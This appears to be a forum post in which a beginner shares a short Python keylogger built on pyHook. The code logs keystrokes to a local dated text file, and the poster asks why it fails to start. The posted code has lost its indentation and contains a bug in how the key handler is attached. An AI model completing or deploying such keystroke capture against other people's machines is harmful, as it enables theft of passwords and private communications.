I just started to program in Python. My first "project" is a keylogger. I've read several lines of code posted on here and other forums. I wrote this code, which should log pressed keys and begin a new line within the .txt file everytime the enter key is hit. Could somebody please give me some advice?
import pythoncom, pyHook
from datetime import datetime
date_today = datetime.now().strftime('%Y-%b-%d')
file_log = 'C:\\Users\\admin\\Desktop\\Python\\logs\\'+date_today+'.txt'
def OnKeyboardEvent(event):
if event.Ascii:
log = open(file_log,"a")
char = chr(event.Ascii)
if event.Ascii == 13:
log.write('\n')
log.write(char)
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent()
hm.HookKeyboard()
pythoncom.PumpMessages()
Thanks and best regards!
Edit: The file doesn't seem to start, as no new process or log file is created upon start